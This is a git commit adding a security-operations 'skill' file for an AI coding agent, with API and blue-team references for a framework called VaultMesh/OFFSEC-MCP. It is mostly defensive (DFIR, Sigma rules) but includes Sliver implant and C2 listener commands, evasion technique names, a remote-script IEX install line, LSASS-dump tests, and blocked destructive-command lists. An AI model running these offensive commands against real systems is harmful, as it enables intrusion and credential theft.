Initial commit - combined iTerm2 scripts

Contains: - 1m-brag - tem - VaultMesh_Catalog_v1 - VAULTMESH-ETERNAL-PATTERN 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-28 03:58:39 +00:00
commit 1583890199
111 changed files with 36978 additions and 0 deletions
--- a/VaultMesh_Catalog_v1/skill/.DS_Store
+++ b/VaultMesh_Catalog_v1/skill/.DS_Store
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/.DS_Store
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/.DS_Store
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/SKILL.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/SKILL.md
@@ -0,0 +1,342 @@
+---
+name: sovereign-operator
+description: Unified security operations framework combining OFFSEC-MCP (28 MCP tools), VaultMesh architecture, and Advanced Security Labs. Use when operating Shield nodes, invoking MCP tools (proof, mesh, shield, tactical, oracle, chain, recon, agent, mobile), managing VaultMesh subsystems, executing adversary emulation (Caldera, Atomic Red Team), writing Sigma rules, running C2 frameworks (Cobalt Strike, Sliver, Havoc), performing DFIR investigations, conducting purple team exercises, managing braid relationships, or operating in specialized domains (AD, cloud, K8s, mobile, wireless, OT/ICS, API). Triggers on "shield status", "mesh alerts", "tactical execute", "oracle reason", "recon passive", "spawn subsystem", "anchor root", "invoke Tem", "run atomic test", "write sigma rule", "C2 setup", "incident response", or any security operations workflow.
+---
+
+# 🜄 Sovereign Operator
+
+Unified framework for security operations, combining:
+- **OFFSEC-MCP** — 28 MCP tools across 9 categories
+- **VaultMesh** — Self-evolving infrastructure with cryptographic proofs
+- **Security Labs** — Adversary emulation, detection engineering, DFIR, and domain expertise
+
+## Mental Model
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                    SOVEREIGN OPERATOR                        │
+├─────────────────────────────────────────────────────────────┤
+│  Brain       │ oracle_*, chain     │ Reason → Decide → Act  │
+│  Eyes/Ears   │ mesh_*, recon_*     │ Observe environment    │
+│  Spine       │ shield_*, agent_*   │ Defend + Automate      │
+│  Hands       │ tactical_*          │ Execute commands       │
+│  Memory      │ proof_*             │ Cryptographic receipts │
+├─────────────────────────────────────────────────────────────┤
+│  Red Team    │ C2, evasion, persistence, lateral movement   │
+│  Blue Team   │ DFIR, Sigma rules, EDR, SIEM correlation     │
+│  Purple Team │ Adversary emulation, BAS, ATT&CK coverage    │
+│  VaultMesh   │ Subsystems, anchoring, Tem, alchemical cycles│
+└─────────────────────────────────────────────────────────────┘
+```
+
+## Tool Categories (28 tools / 9 categories)
+
+| Category | Tools | Purpose |
+|----------|-------|---------|
+| proof | 3 | `proof_generate`, `proof_verify`, `proof_anchor` |
+| mesh | 6 | `mesh_console_ping`, `mesh_status`, `mesh_topology`, `mesh_alerts`, `mesh_backups`, `mesh_blast_radius` |
+| shield | 3 | `shield_status`, `shield_monitor`, `shield_respond` |
+| tactical | 3 | `tactical_execute`, `tactical_playbook`, `tactical_learn` |
+| oracle | 2 | `oracle_reason`, `oracle_decide` |
+| chain | 1 | `oracle_tactical_chain` (reason→decide→act) |
+| recon | 3 | `recon_passive`, `recon_active`, `recon_wifi` |
+| agent | 5 | `agent_task`, `agent_list`, `agent_cancel`, `agent_reload_configs`, `agent_config_toggle` |
+| mobile | 2 | `mobile_status`, `mobile_execute` |
+
+**Full API:** See `references/api.md`
+
+## Quick Start Sequences
+
+### Health Check
+```json
+{"tool": "mobile_status", "input": {"include": ["battery", "wifi", "vpn"]}}
+{"tool": "mesh_console_ping", "input": {}}
+{"tool": "mesh_status", "input": {"include_health": true}}
+{"tool": "shield_status", "input": {"include_mesh": true}}
+```
+
+### Reason → Decide → Act
+```json
+{
+  "tool": "oracle_tactical_chain",
+  "input": {
+    "context": "2 unhealthy services, latency elevated",
+    "constraints": ["read-only", "no destructive actions"],
+    "objective": "Diagnose and stabilize",
+    "risk_tolerance": "low",
+    "dry_run": true
+  }
+}
+```
+
+### Passive Reconnaissance
+```json
+{"tool": "recon_passive", "input": {"target": "example.com", "modules": ["dns", "whois", "certs"]}}
+```
+
+### Create Scheduled Agent
+```json
+{
+  "tool": "agent_task",
+  "input": {
+    "name": "mesh_heartbeat",
+    "trigger": {"type": "schedule", "interval": 120},
+    "actions": [{"tool": "mesh_status", "args": {}}, {"tool": "shield_status", "args": {}}],
+    "on_complete": "log"
+  }
+}
+```
+
+## VaultMesh Architecture
+
+VaultMesh operates as a **dual-layer civilization**:
+
+### Layer 1: Kubernetes (The Flesh)
+Six organs: 🜄 Governance, 🜂 Automation, 🜃 Treasury, 🜁 Federation, 🜏 Ψ-Field, 🌍 Infrastructure
+
+### Layer 2: Rust Codex (The Soul)
+`vm-core`, `vm-cap`, `vm-receipts`, `vm-proof`, `vm-treasury`, `vm-crdt`, `vm-guardian`, `vm-portal`
+
+### Subsystem Spawning
+```bash
+python3 scripts/spawn_subsystem.py --name threat-analyzer --organ-type psi-field --rust
+```
+
+### Multi-Chain Anchoring
+```bash
+python3 scripts/compute_merkle_root.py --root vaultmesh-architecture --out manifests/hash-manifest.json
+bash scripts/multi_anchor.sh manifests/hash-manifest.json
+```
+
+**Full VaultMesh details:** See `references/vaultmesh.md`
+
+## Braid Mode — Mutual Attestation
+
+Shield and VaultMesh **braid** by importing foreign Merkle roots:
+```json
+{"tool": "proof_braid_import", "input": {"url": "http://vaultmesh:9110/api/proof/root", "ledger_name": "vaultmesh"}}
+```
+
+| State | Meaning |
+|-------|---------|
+| none | No foreign roots |
+| one_way | Only one side captured |
+| bidirectional | Both captured at least one root |
+| verified | Bidirectional + no regressions |
+
+| Incident | Severity | Response |
+|----------|----------|----------|
+| `ROOT_REGRESSION` | CRITICAL | Freeze trust, coordinate with foreign operator |
+| `PROOF_COUNT_REGRESSION` | CRITICAL | Same as above |
+| `IDENTITY_SHIFT` | CRITICAL | Treat as new ledger unless pre-approved |
+
+**Full braid specification:** See `references/braid.md`
+
+## Red Team Operations
+
+### C2 Frameworks
+
+| Framework | Type | Key Features |
+|-----------|------|--------------|
+| Cobalt Strike | Commercial | Beacon, Malleable C2, Aggressor |
+| Sliver | Open Source | mTLS, WireGuard, multiplayer |
+| Havoc | Open Source | Demon agents, stack duplication |
+| Brute Ratel C4 | Commercial | EDR evasion, syscall obfuscation |
+| Mythic | Open Source | Web UI, multi-agent support |
+
+### Sliver Quick Start
+```bash
+sliver-server  # Start server
+generate --mtls 192.168.1.100 --os windows --arch amd64 --save implant.exe
+mtls --lhost 0.0.0.0 --lport 8888  # Start listener
+```
+
+### Evasion Techniques
+- AMSI bypass, ETW patching, unhooking
+- Direct syscalls, API hashing
+- Sleep obfuscation, stack spoofing
+
+**Full Red Team details:** See `references/redteam.md`
+
+## Blue Team Operations
+
+### DFIR Framework (NIST 800-61r3 + CSF 2.0)
+1. **Govern** — IR policies, roles, governance
+2. **Identify** — Asset inventory, risk assessment
+3. **Protect** — Safeguards, forensic readiness
+4. **Detect** — Monitor, anomaly detection, triage
+5. **Respond** — Containment, eradication, evidence
+6. **Recover** — Restore, lessons learned
+
+### Sigma Rule Development
+```yaml
+title: LSASS Memory Dump via Procdump
+logsource:
+  category: process_creation
+  product: windows
+detection:
+  selection:
+    Image|endswith: '\procdump.exe'
+    CommandLine|contains: 'lsass'
+  condition: selection
+level: high
+```
+
+### Sigma Conversion
+```bash
+sigma convert -t splunk -p sysmon rule.yml
+sigma convert -t lucene -p ecs_windows rule.yml
+```
+
+**Full Blue Team details:** See `references/blueteam.md`
+
+## Purple Team Operations
+
+### Adversary Emulation Frameworks
+
+| Framework | Description |
+|-----------|-------------|
+| MITRE Caldera | Automated adversary emulation, 527+ procedures |
+| Atomic Red Team | 1,225+ tests, 261 techniques, agentless |
+| Infection Monkey | Breach simulation, lateral movement |
+| PurpleSharp | AD-focused, .NET-based |
+
+### Caldera Setup
+```bash
+git clone https://github.com/mitre/caldera.git --recursive
+pip3 install -r requirements.txt
+python3 server.py --insecure  # http://localhost:8888
+```
+
+### Atomic Red Team Execution
+```powershell
+IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
+Install-AtomicRedTeam -getAtomics
+Invoke-AtomicTest T1003.001 -ShowDetails  # LSASS dump
+Invoke-AtomicTest T1003.001 -TestNumbers 1
+Invoke-AtomicTest T1003.001 -Cleanup
+```
+
+### BAS Platforms
+- Picus Security, Cymulate, AttackIQ, SafeBreach, XM Cyber
+
+**Full Purple Team details:** See `references/purpleteam.md`
+
+## Specialized Domains
+
+| Domain | Key Topics |
+|--------|------------|
+| Active Directory | Kerberoasting, DCSync, Golden/Silver tickets, BloodHound |
+| Cloud Security | AWS/Azure/GCP misconfigs, CSPM, CNAPP |
+| Container/K8s | Pod escape, RBAC abuse, supply chain |
+| Mobile Security | Android/iOS testing, Frida, Objection |
+| Wireless | WPA3 attacks, rogue AP, deauth |
+| Bluetooth/IoT | BLE sniffing, firmware analysis |
+| OT/ICS | SCADA, Modbus, IEC 62443 |
+| API Security | OWASP API Top 10, GraphQL, JWT |
+
+**Full domain details:** See `references/domains.md`
+
+## Response Patterns
+
+### "Check status" / "What's the health?"
+→ `mobile_status` + `mesh_status` + `shield_status`
+
+### "Analyze this situation"
+→ `oracle_reason` or `oracle_tactical_chain`
+
+### "Run recon on target"
+→ `recon_passive` (DNS/WHOIS) or `recon_active` (requires auth)
+
+### "Test detection for T1003"
+→ Atomic Red Team: `Invoke-AtomicTest T1003.001`
+
+### "Write a Sigma rule for X"
+→ Generate YAML with logsource/detection/condition
+
+### "Spawn a new subsystem"
+→ `spawn_subsystem.py` with organ type
+
+### "Anchor current state"
+→ `compute_merkle_root.py` + `multi_anchor.sh`
+
+### "Invoke Tem against threat"
+→ `invoke_tem.py` with threat type and remediation
+
+### "Set up C2 infrastructure"
+→ Sliver/Cobalt Strike/Havoc setup per `references/redteam.md`
+
+### "Investigate incident"
+→ DFIR workflow per `references/blueteam.md`
+
+## Alchemical Transformation Cycle
+
+When the system must evolve:
+
+1. **🜃 Nigredo (Blackening)** — Audit, isolate problems
+2. **🜁 Albedo (Whitening)** — Restore from proof, purge invalid data
+3. **🜂 Citrinitas (Yellowing)** — Extract patterns, synthesize defenses
+4. **🜄 Rubedo (Reddening)** — Deploy improvements, anchor new state
+
+**Triggers:** Threat detection, stagnation, audit findings, upgrade requests
+
+## Tem — The Remembrance Guardian
+
+Invoked when threats are detected. Transmutes attacks into evolutionary catalysts.
+
+**Threat Types:** `integrity-violation`, `capability-breach`, `treasury-exploit`, `dos-attack`, `injection`
+
+```bash
+python3 scripts/invoke_tem.py --threat-type integrity-violation --realm demo --auto-remediate
+```
+
+## Safety Guardrails
+
+- **tactical_execute:** Risk classification, blocks destructive commands in safe_mode
+- **recon_active:** Requires `authorization` parameter
+- **All high-impact tools:** Emit cryptographic proofs
+- **Braid invariants:** Monotonic time, non-decreasing proof counts
+
+## Forbidden Patterns
+
+**Never:**
+- Execute destructive commands without authorization
+- Skip proofs for high-impact actions
+- Accept regressed roots in braid mode
+- Run active recon without auth ticket
+- Skip alchemical phases in evolution
+
+**Always:**
+- Emit proofs for significant actions
+- Respect braid invariants
+- Use safe_mode for tactical operations
+- Document in LAWCHAIN for governance events
+- Apply sacred ratios (φ, π, e) in scaling decisions
+
+## Environment
+
+```bash
+VAULTMESH_ENDPOINT=http://100.80.246.127:9090
+OLLAMA_HOST=http://localhost:11434
+OLLAMA_MODEL=qwen2.5:7b
+SOVEREIGN_NODE_ID=shield-01
+OFFSEC_MODE=full  # full|demo|offline|test
+```
+
+## MCP Resources
+
+- `sovereign://node/identity` — Node ID
+- `sovereign://mesh/status` — Mesh health
+- `sovereign://proofs/log` — Proof log
+- `sovereign://agent/tasks` — Agent tasks
+- `sovereign://shield/threats` — Threat history
+
+## References
+
+- `references/api.md` — Full MCP tool API (28 tools)
+- `references/vaultmesh.md` — Architecture, subsystems, anchoring, Tem
+- `references/braid.md` — Mutual attestation specification
+- `references/redteam.md` — C2 frameworks, evasion, persistence, OPSEC
+- `references/blueteam.md` — DFIR, Sigma rules, detection engineering
+- `references/purpleteam.md` — Adversary emulation, BAS, ATT&CK coverage
+- `references/domains.md` — AD, cloud, K8s, mobile, wireless, OT/ICS, API
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/api.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/api.md
@@ -0,0 +1,387 @@
+# OFFSEC-MCP API Reference
+
+**28 tools across 9 categories** — All invoked via MCP `tools/call` with `name` and `arguments`.
+
+---
+
+## 1. Proof Tools (3)
+
+Cryptographic receipts for auditability.
+
+### `proof_generate`
+Generate cryptographic proof/receipt for an action.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `action` | string | Yes | Action being proven |
+| `data` | object | No | Data to include in proof |
+| `witnesses` | string[] | No | Required witnesses |
+
+**Returns:** `{ proof_id, hash, timestamp, action, data }`
+
+### `proof_verify`
+Verify a proof/receipt.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `proof_id` | string | No | Proof ID to verify |
+| `proof_data` | object | No | Raw proof data |
+
+**Returns:** `{ valid: true/false, proof, reason }`
+
+### `proof_anchor`
+Anchor proof to blockchain (simulated).
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `proof_id` | string | Yes | Proof ID to anchor |
+| `chain` | string | No | `btc`, `eth`, or `mesh` (default: mesh) |
+
+**Returns:** `{ anchored: true, chain, tx_id }`
+
+---
+
+## 2. Mesh Tools (6)
+
+Prometheus-backed infrastructure intelligence.
+
+### `mesh_console_ping`
+Check if VaultMesh/Prometheus is reachable.
+
+**No parameters.** Returns: `{ reachable: true/false, endpoint, latency_ms }`
+
+### `mesh_status`
+Get full infrastructure status and health.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `include_health` | boolean | No | Include detailed health (default: true) |
+
+**Returns:** `{ services: [...], healthy_count, unhealthy_count, overall_status }`
+
+### `mesh_topology`
+Get mesh network topology with health overlay.
+
+**No parameters.** Returns: `{ nodes: [...], edges: [...], service_dependencies }`
+
+### `mesh_alerts`
+Get active alerts from mesh.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `severity` | string | No | `all`, `critical`, `warning`, `info` |
+
+**Returns:** `{ alerts: [...], count, by_severity }`
+
+### `mesh_backups`
+Get backup status and freshness.
+
+**No parameters.** Returns: `{ backups: [...], last_successful, any_failed }`
+
+### `mesh_blast_radius`
+Calculate blast radius for a service failure.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `service_id` | string | Yes | Service to analyze (`portal`, `postgres`, `minio`) |
+
+**Returns:** `{ service_id, affected_services: [...], impact_level }`
+
+---
+
+## 3. Shield Tools (3)
+
+Mesh-aware defensive monitoring.
+
+### `shield_status`
+Get defensive shield status with aggregated threat intelligence.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `include_mesh` | boolean | No | Include mesh alerts/health (default: true) |
+| `include_history` | boolean | No | Include recent threat history (default: false) |
+
+**Returns:** `{ overall_state, mesh_status, threats, monitors, backups }`
+
+### `shield_monitor`
+Configure threat monitoring for attack vectors.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `vectors` | string[] | No | `network`, `wifi`, `bluetooth`, `usb`, `process`, `file`, `mesh` |
+| `sensitivity` | string | No | `low`, `medium`, `high`, `paranoid` |
+| `duration` | number | No | Seconds (0 = indefinite) |
+
+**Returns:** `{ monitoring: true, vectors, sensitivity, expires_at }`
+
+### `shield_respond`
+Configure automatic response rules.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `threat_type` | string | Yes | `network_scan`, `mesh_alert`, `process_anomaly` |
+| `response` | string | Yes | `log`, `alert`, `block`, `isolate`, `counter`, `trigger_agent` |
+| `auto_execute` | boolean | No | Execute without confirmation |
+| `notify_mesh` | boolean | No | Broadcast to mesh network |
+
+**Returns:** `{ rule_id, threat_type, response, active: true }`
+
+---
+
+## 4. Tactical Tools (3)
+
+Controlled command execution and playbooks.
+
+### `tactical_execute`
+Execute command with risk analysis and optional safe mode.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `command` | string | Yes | Command to execute |
+| `explain` | boolean | No | Explain before execution (default: true) |
+| `safe_mode` | boolean | No | Require confirmation for dangerous (default: true) |
+| `timeout` | number | No | Timeout in ms (default: 60000) |
+
+**Returns:** `{ command, risk_level, output, stderr, exit_code, proof_id }`
+
+**Blocked in safe_mode:** `rm -rf /`, `dd if=/dev/zero`, `mkfs`, fork bombs
+
+### `tactical_playbook`
+Execute a structured sequence of tool calls.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `playbook` | string | Yes | Playbook name or path |
+| `variables` | object | No | Variables for playbook |
+| `dry_run` | boolean | No | Show without executing (default: false) |
+
+**Built-in:** `quick-recon`, `network-scan`, `mesh-health-check`, `defensive-posture`
+
+**Returns:** `{ playbook, steps: [...], results: [...], overall_success }`
+
+### `tactical_learn`
+Record command outcome for future AI suggestions.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `command` | string | Yes | Command that was executed |
+| `context` | string | No | Why this command was useful |
+| `outcome` | string | Yes | `success`, `partial`, `failed`, `learned` |
+| `tags` | string[] | No | Tags for categorization |
+
+**Returns:** `{ learned: true, command, proof_id }`
+
+---
+
+## 5. Oracle Tools (2)
+
+LLM-backed reasoning with deterministic fallback.
+
+### `oracle_reason`
+Analyze situation and recommend actions.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `context` | string | Yes | Situation to reason about |
+| `constraints` | string[] | No | Rules to follow |
+| `objective` | string | No | Primary goal |
+
+**Returns:** `{ reasoning: { analysis, recommendations: [...], confidence }, proof_id }`
+
+### `oracle_decide`
+Make decision based on options and risk tolerance.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `situation` | string | Yes | Situation requiring decision |
+| `options` | string[] | Yes | Available options |
+| `risk_tolerance` | string | No | `minimal`, `low`, `medium`, `high`, `maximum` |
+
+**Returns:** `{ decision: { selected, reasoning, confidence }, proof_id }`
+
+---
+
+## 6. Chain Tools (1)
+
+End-to-end orchestration pipeline.
+
+### `oracle_tactical_chain`
+Full "reason → decide → act" chain with cryptographic proof.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `context` | string | Yes | Situation to analyze |
+| `constraints` | string[] | No | Oracle constraints |
+| `objective` | string | No | Goal |
+| `options` | string[] | No | Decision options (defaults provided) |
+| `playbook` | string | No | Playbook if action selected |
+| `risk_tolerance` | string | No | Risk level (default: `low`) |
+| `dry_run` | boolean | No | Plan only (default: `true`) |
+
+**Returns:**
+```json
+{
+  "chain_id": "chain-...",
+  "reasoning": { "summary": "...", "confidence": 0.8 },
+  "decision": { "selected": "Run diagnostic", "risk_tolerance": "low" },
+  "tactical_plan": { "type": "playbook", "executed": false },
+  "proofs": { "reason": "...", "decide": "...", "chain": "..." }
+}
+```
+
+---
+
+## 7. Recon Tools (3)
+
+Reconnaissance with guardrails and proof trails.
+
+### `recon_passive`
+Passive reconnaissance - no target interaction.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `target` | string | Yes | Domain, IP, or org identifier |
+| `modules` | string[] | No | `dns`, `whois`, `certs`, `all` |
+
+**Returns:** `{ type: "passive", target, findings: { dns, whois, certs }, proof_id }`
+
+### `recon_active`
+Active reconnaissance - requires authorization.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `target` | string | Yes | IP, domain, or range |
+| `scan_type` | string | No | `ports`, `services`, `vuln`, `full` |
+| `authorization` | string | Yes | Auth reference (ticket, contract ID) |
+| `execute` | boolean | No | Actually run (default: `false` = prepare only) |
+
+**Returns:** `{ type: "active", target, status, command, output (if executed), proof_id }`
+
+### `recon_wifi`
+WiFi reconnaissance - environment-aware.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `interface` | string | No | Wireless interface (auto-detected) |
+| `mode` | string | No | `scan`, `monitor`, `deauth_detect`, `rogue_detect` |
+| `duration` | number | No | Duration in seconds |
+
+**Returns:** `{ type: "wifi", environment: { isTermux, isNetHunter }, findings: { networks }, proof_id }`
+
+---
+
+## 8. Agent Tools (5)
+
+Autonomous background tasks and config management.
+
+### `agent_task`
+Create autonomous task with triggers.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `name` | string | Yes | Task name |
+| `trigger` | object | Yes | `{ type, interval }` |
+| `trigger.type` | string | Yes | `schedule`, `event`, `condition`, `mesh`, `once` |
+| `trigger.interval` | number | No | Interval in seconds (for schedule) |
+| `actions` | array | Yes | Array of `{ tool, args }` |
+| `on_complete` | string | No | `notify`, `mesh_broadcast`, `log`, `chain`, `none` |
+| `max_runs` | number | No | Max executions (0 = unlimited) |
+
+**Returns:** `{ success: true, task: {...}, proof_id }`
+
+### `agent_list`
+List agent tasks by status.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `status` | string | No | `all`, `active`, `pending`, `completed`, `cancelled`, `disabled` |
+
+**Returns:** `{ count, tasks: [...], stats: { total_tasks, active, pending } }`
+
+### `agent_cancel`
+Cancel an active task.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `task_id` | string | Yes | Task ID to cancel |
+
+**Returns:** `{ success: true, task: {...}, proof_id }`
+
+### `agent_reload_configs`
+Reload agent configs from `configs/agents/*.yaml`.
+
+**No parameters.** Returns: `{ success: true, config_dir, tasks_loaded: [...], count }`
+
+### `agent_config_toggle`
+Enable/disable config-sourced agent at runtime.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `name` | string | Yes | Agent name |
+| `enabled` | boolean | Yes | Enable or disable |
+| `persist` | boolean | No | Write to YAML file (default: false) |
+
+**Returns:** `{ success: true, name, previous_status, new_status, persisted, proof_id }`
+
+---
+
+## 9. Mobile Tools (2)
+
+Termux/NetHunter body awareness.
+
+### `mobile_status`
+Get device status including battery, WiFi, network, VPN.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `include` | string[] | No | `battery`, `wifi`, `network`, `vpn`, `location`, `sensors`, `all` |
+
+**Returns:**
+```json
+{
+  "environment": { "isTermux": true, "isNetHunter": false, "platform": "android" },
+  "data": {
+    "battery": { "percentage": 85, "status": "DISCHARGING" },
+    "wifi": { "ssid": "Home", "rssi": -65 },
+    "vpn": { "tailscale": { "connected": true }, "any_connected": true }
+  },
+  "assessment": { "status": "healthy", "issues": [], "recommendations": [] },
+  "proof_id": "..."
+}
+```
+
+### `mobile_execute`
+Execute mobile-specific command with safety guardrails.
+
+| Parameter | Type | Required | Description |
+|-----------|------|----------|-------------|
+| `command` | string | Yes | Command to execute |
+| `background` | boolean | No | Run in background (default: false) |
+| `timeout` | number | No | Timeout in ms (default: 30000) |
+
+**Blocked:** `rm -rf /`, `dd if=/dev/zero`, `mkfs`, fork bombs
+
+**Returns:** `{ command, risk_level, success, output, proof_id }`
+
+---
+
+## Proof Trail Actions
+
+Every significant tool call emits a cryptographic proof:
+
+| Action Pattern | Tool |
+|----------------|------|
+| `proof:generate` | proof_generate |
+| `mesh:status` | mesh_status |
+| `shield:status` | shield_status |
+| `tactical:execute` | tactical_execute |
+| `oracle:reason` | oracle_reason |
+| `oracle:decide` | oracle_decide |
+| `chain:oracle_tactical_chain` | oracle_tactical_chain |
+| `recon:passive` | recon_passive |
+| `recon:active` | recon_active |
+| `agent:task:create` | agent_task |
+| `agent:config:load` | agent_reload_configs |
+| `mobile:status` | mobile_status |
+
+Access proof log via MCP resource: `sovereign://proofs/log`
--- a/VaultMesh_Catalog_v1/skill/sovereign-operator/references/blueteam.md
+++ b/VaultMesh_Catalog_v1/skill/sovereign-operator/references/blueteam.md
@@ -0,0 +1,363 @@
+# Blue Team Operations Reference
+
+DFIR methodologies, Sigma rules, detection engineering, and forensic analysis.
+
+## NIST SP 800-61r3 + CSF 2.0 Framework
+
+| Function | IR Activities |
+|----------|---------------|
+| **Govern** | IR policies, roles, governance structures |
+| **Identify** | Asset inventory, risk assessment, incident types |
+| **Protect** | Safeguards, communication protocols, forensic readiness |
+| **Detect** | Monitor, anomaly detection, alert triage |
+| **Respond** | Containment, eradication, evidence collection |
+| **Recover** | Restore capabilities, lessons learned |
+
+### SANS PICERL Lifecycle
+1. **Preparation** — Plans, tools, training
+2. **Identification** — Detect and validate
+3. **Containment** — Limit damage
+4. **Eradication** — Remove threat
+5. **Recovery** — Restore operations
+6. **Lessons Learned** — Improve
+
+## Chain of Custody
+
+### Requirements
+1. Document who collected evidence, when, where
+2. Record every transfer of custody
+3. Store in tamper-evident containers
+4. Use cryptographic hashes (SHA-256)
+5. Maintain detailed logs
+6. Train personnel on procedures
+
+**Standards:** ISO/IEC 27037:2012, NIST SP 800-86
+
+## Memory Forensics
+
+### Volatility 3 (Python 3)
+```bash
+# Install
+pip install volatility3
+
+# Basic analysis
+vol -f memory.raw windows.info
+vol -f memory.raw windows.pslist
+vol -f memory.raw windows.psscan
+vol -f memory.raw windows.netscan
+vol -f memory.raw windows.malfind
+vol -f memory.raw windows.dlllist
+vol -f memory.raw windows.handles
+vol -f memory.raw windows.cmdline
+vol -f memory.raw windows.filescan
+```
+
+### Key Plugins
+
+| Plugin | Purpose |
+|--------|---------|
+| `windows.pslist` | Active processes via kernel list |
+| `windows.psscan` | Find hidden/terminated processes |
+| `windows.netscan` | Network connections and sockets |
+| `windows.malfind` | Detect code injection |
+| `windows.dlllist` | Loaded DLLs per process |
+| `windows.handles` | Open handles (files, registry, mutexes) |
+| `windows.cmdline` | Command line arguments |
+| `windows.hashdump` | Extract password hashes |
+
+### Acquisition Tools
+- **DumpIt / WinPMEM** — Windows memory acquisition
+- **LiME** — Linux kernel module acquisition
+- **AVML** — Rust-based Linux acquisition
+- **Belkasoft RAM Capturer** — Bypass anti-dumping
+
+## Disk Forensics
+
+### Tool Comparison
+
+| Tool | Best For | License |
+|------|----------|---------|
+| Autopsy | Open-source, budget teams | Free |
+| EnCase | Law enforcement, court-proven | Commercial |
+| FTK | High-volume, email focus | Commercial |
+| FTK Imager | Evidence acquisition | Free |
+| X-Ways | Portable, power users | Commercial |
+
+### Autopsy Workflow
+```bash
+# Install
+sudo apt install autopsy
+
+# Start
+autopsy
+
+# Navigate to http://localhost:9999/autopsy
+```
+
+### Sleuth Kit Commands
+```bash
+# Image info
+img_stat image.dd
+
+# File system info
+fsstat -o 2048 image.dd
+
+# List files
+fls -o 2048 image.dd
+
+# File recovery
+icat -o 2048 image.dd <inode> > recovered_file
+
+# Timeline
+fls -m "/" -r image.dd > body.txt
+mactime -b body.txt > timeline.csv
+```
+
+## Velociraptor & KAPE
+
+### Velociraptor
+```yaml
+# VQL Query Example - Find suspicious processes
+SELECT Pid, Name, Exe, CommandLine, CreateTime
+FROM pslist()
+WHERE Name =~ "powershell|cmd|wscript|cscript"
+  AND CommandLine =~ "-enc|-e |-nop|-w hidden"
+```
+
+### KAPE
+```bash
+# Triage collection
+kape.exe --tsource C: --tdest E:\Collection --target KapeTriage
+
+# With processing
+kape.exe --tsource C: --tdest E:\Collection --target KapeTriage --mdest E:\Processed --module !EZParser
+```
+
+### KAPE Targets
+- `KapeTriage` — Comprehensive Windows triage
+- `RegistryHives` — All registry hives
+- `EventLogs` — Windows event logs
+- `WebBrowsers` — Browser artifacts
+- `Antivirus` — AV logs and quarantine
+
+## Sigma Rules
+
+### Rule Structure
+```yaml
+title: LSASS Memory Dump via Procdump
+id: e1a6c9c7-8c8d-4b5c-9a2e-1234567890ab
+status: stable
+description: Detects LSASS memory dumping using Procdump
+references:
+  - https://attack.mitre.org/techniques/T1003/001/
+author: Security Analyst
+date: 2024/11/29
+tags:
+  - attack.credential_access
+  - attack.t1003.001
+logsource:
+  category: process_creation
+  product: windows
+detection:
+  selection:
+    Image|endswith: '\procdump.exe'
+    CommandLine|contains: 'lsass'
+  condition: selection
+falsepositives:
+  - Legitimate troubleshooting
+level: high
+```
+
+### Sigma CLI
+```bash
+# Install
+pip install sigma-cli pysigma-backend-splunk pysigma-backend-elasticsearch
+
+# Convert to Splunk SPL
+sigma convert -t splunk -p sysmon rule.yml
+
+# Convert to Elastic/Lucene
+sigma convert -t lucene -p ecs_windows rule.yml
+
+# Batch convert to Elastic Security
+sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules/ -o rules.ndjson
+```
+
+### Common Detection Patterns
+
+#### Credential Access
+```yaml
+title: Mimikatz Sekurlsa
+detection:
+  selection:
+    CommandLine|contains:
+      - 'sekurlsa::'
+      - 'kerberos::'
+      - 'lsadump::'
+  condition: selection
+```
+
+#### PowerShell Download
+```yaml
+title: PowerShell Download Cradle
+detection:
+  selection:
+    CommandLine|contains:
+      - 'DownloadString'
+      - 'DownloadFile'
+      - 'IEX'
+      - 'Invoke-Expression'
+  condition: selection
+```
+
+#### Scheduled Task Creation
+```yaml
+title: Suspicious Scheduled Task
+detection:
+  selection:
+    Image|endswith: '\schtasks.exe'
+    CommandLine|contains:
+      - '/create'
+  filter:
+    User|contains: 'SYSTEM'
+  condition: selection and not filter
+```
+
+## Critical Windows Event IDs
+
+| Event ID | Category | Description |
+|----------|----------|-------------|
+| 4624 | Logon | Successful logon (check LogonType) |
+| 4625 | Logon | Failed logon |
+| 4672 | Logon | Special privileges assigned |
+| 4688 | Process | Process creation (enable command line logging) |
+| 4697 | Service | Service installed |
+| 4698 | Task | Scheduled task created |
+| 4720 | Account | User account created |
